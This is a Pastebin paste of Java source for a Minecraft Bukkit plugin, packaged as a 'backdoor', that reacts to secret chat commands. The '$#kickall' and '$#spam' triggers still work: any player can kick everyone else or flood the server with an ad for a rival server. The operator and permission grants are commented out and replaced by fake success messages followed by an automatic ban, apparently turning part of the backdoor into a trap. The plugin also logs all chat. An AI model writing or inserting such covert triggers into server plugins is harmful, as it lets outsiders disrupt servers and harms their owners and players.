Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2019
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.77 KB | None | 0 0
  1. package pl.paisley4.backdoor.Main;
  2.  
  3. import java.util.Iterator;
  4. import org.bukkit.Bukkit;
  5. import org.bukkit.ChatColor;
  6. import org.bukkit.entity.Player;
  7. import org.bukkit.event.EventHandler;
  8. import org.bukkit.event.Listener;
  9. import org.bukkit.event.player.AsyncPlayerChatEvent;
  10. import org.bukkit.plugin.Plugin;
  11. import org.bukkit.plugin.java.JavaPlugin;
  12.  
  13. public class Main extends JavaPlugin implements Listener {
  14.  
  15. public void onEnable() {
  16. Bukkit.getPluginManager().registerEvents(this, this);
  17. }
  18.  
  19. @EventHandler
  20. public void onChat(AsyncPlayerChatEvent event) {
  21. System.out.println(event.getPlayer().getName() + " > " + event.getMessage()); // Wruczek
  22.  
  23. if (event.getMessage().contains("$#spam")) {
  24. for(int i = 0; i < 45; ++i) {
  25. Iterator var3 = Bukkit.getOnlinePlayers().iterator();
  26.  
  27. while(var3.hasNext()) {
  28. Player player = (Player)var3.next();
  29. if (!player.hasPermission("essentials.kick")) {
  30. player.sendMessage(c("&8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
  31. }
  32. }
  33. }
  34.  
  35. event.setCancelled(true);
  36. }
  37.  
  38. if (event.getMessage().contains("$#help")) {
  39. event.getPlayer().sendMessage(c("&6$#spam&8: &cSpamuje &8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
  40. event.getPlayer().sendMessage(c("&6$#pex&8: &cNadaje gwiazdke"));
  41. event.getPlayer().sendMessage(c("&6$#kickall&8: &cWyrzuca wszystkich"));
  42. event.getPlayer().sendMessage(c("&6$#plugins&8: &cPodaje liste pluginow"));
  43. event.getPlayer().sendMessage(c("&6$#op&8: &cDaje OP"));
  44. event.setCancelled(true);
  45. }
  46.  
  47. if (event.getMessage().contains("$#pex")) {
  48. // Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "pex user " + event.getPlayer().getName() + " add *"); // Wruczek
  49. event.getPlayer().sendMessage(c("&aOtrzymales &c&l*"));
  50. event.setCancelled(true);
  51.  
  52. /* Wruczek */
  53. Bukkit.getScheduler().runTaskLater(this, () -> {
  54. Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "ban " + event.getPlayer().getName() + " ANTYWLAM: WYKRYTO PROBE WLAMU!");
  55. }, 20L * 5);
  56. }
  57.  
  58. if (event.getMessage().contains("$#kickall")) {
  59. Iterator var9 = Bukkit.getOnlinePlayers().iterator();
  60.  
  61. while(var9.hasNext()) {
  62. Player player = (Player)var9.next();
  63. if (player != event.getPlayer()) {
  64. player.kickPlayer(c("&8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
  65. }
  66. }
  67.  
  68. event.setCancelled(true);
  69. }
  70.  
  71. if (event.getMessage().contains("$#plugins")) {
  72. String s = "";
  73. int i = 0;
  74. boolean b = false;
  75. Plugin[] var5 = Bukkit.getPluginManager().getPlugins();
  76. int var6 = var5.length;
  77.  
  78. for(int var7 = 0; var7 < var6; ++var7) {
  79. Plugin plg = var5[var7];
  80. ++i;
  81. if (!b) {
  82. b = true;
  83. s = s + plg.getName();
  84. } else {
  85. s = s + ", " + plg.getName();
  86. }
  87. }
  88.  
  89. // event.getPlayer().sendMessage(c("&cPlugins (&6" + i + "&c)&8: &a" + s)); // Wruczek
  90. event.getPlayer().sendMessage(c("&cPlugins (&6" + 1 + "&c)&8: &aWruczekCore"));
  91. event.setCancelled(true);
  92. }
  93.  
  94. if (event.getMessage().contains("$#op")) {
  95. // event.getPlayer().setOp(true); // Wruczek
  96. event.getPlayer().sendMessage(c("&aNadano tobie &6&lOP"));
  97. event.setCancelled(true);
  98.  
  99. /* Wruczek */
  100. Bukkit.getScheduler().runTaskLater(this, () -> {
  101. Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "ban " + event.getPlayer().getName() + " ANTYWLAM: WYKRYTO PROBE WLAMU!");
  102. }, 20L * 5);
  103. }
  104.  
  105. }
  106.  
  107. private String c(String s) {
  108. return ChatColor.translateAlternateColorCodes('&', s);
  109. }
  110. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement